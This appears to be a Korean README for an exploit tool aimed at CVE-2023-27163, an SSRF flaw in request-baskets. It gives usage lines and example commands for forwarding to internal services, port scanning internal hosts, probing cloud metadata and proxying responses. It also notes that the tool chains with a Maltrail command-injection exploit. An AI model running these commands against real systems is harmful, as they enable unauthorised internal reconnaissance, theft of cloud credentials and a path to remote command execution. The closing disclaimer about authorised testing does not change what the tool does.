
CVE-2023-27163의 request-baskets용 SSRF 익스플로잇으로, 악성 바스켓 포워딩을 통해 내부 포트 스캐닝, 클라우드 메타데이터 탐색, 서비스 검색을 가능하게 합니다.
이 익스플로잇은 request-baskets 버전 ≤ 1.2.1에서 발견된 SSRF(Server-Side Request Forgery) 취약점인 CVE-2023-27163을 대상으로 작성했습니다. 이 결함은 /api/baskets/{name} 엔드포인트에 있으며, forward_url 매개변수를 통해 공격자가 서버를 대신해 임의의 HTTP 요청을 보내도록 만들 수 있습니다.
이 익스플로잇은 내부 대상을 가리키는 forward_url로 구성된 악성 "basket"을 생성합니다. 해당 basket의 엔드포인트로 전달된 모든 요청은 서버가 지정된 URL로 전달하므로, 결과적으로 서버가 SSRF 프록시로 전환됩니다.
requests 라이브러리 (pip install requests)usage: exploit.py [-h] -t TARGET [-f FORWARD_URL] [--proxy-response]
[--insecure-tls] [--no-expand-path] [--capacity CAPACITY]
[--scan-host SCAN_HOST] [--ports PORTS] [--scan]
[--discover] [--cloud-metadata] [--timeout TIMEOUT]
[--delay DELAY]
# Basic SSRF forward to an internal service
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80/admin
# Port scan an internal host
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 127.0.0.1 --scan
# Probe cloud metadata endpoints
python3 exploit.py -t http://192.168.1.100:55555 --cloud-metadata
# Proxy mode (returns the forwarded response body)
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80 --proxy-response
# Custom port range scan
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 10.0.0.2 \
--ports 80,443,3000,5000,8000,8080,9000
이 도구는 교육 목적과 승인된 보안 테스트 전용으로 제작했습니다. 명시적인 허가 없이 시스템에 사용하지 마십시오.
이 SSRF 익스플로잇은 직접 노출되지 않은 내부 서비스에 도달하기 위한 초기 진입점으로 사용할 수 있습니다. Maltrail-v0.53-Exploit과 함께 작동하도록 설계했습니다. SSRF 터널을 통해 localhost에서 실행 중인 Maltrail 인스턴스에 접근하고 이를 통해 명령 주입을 트리거할 수 있습니다.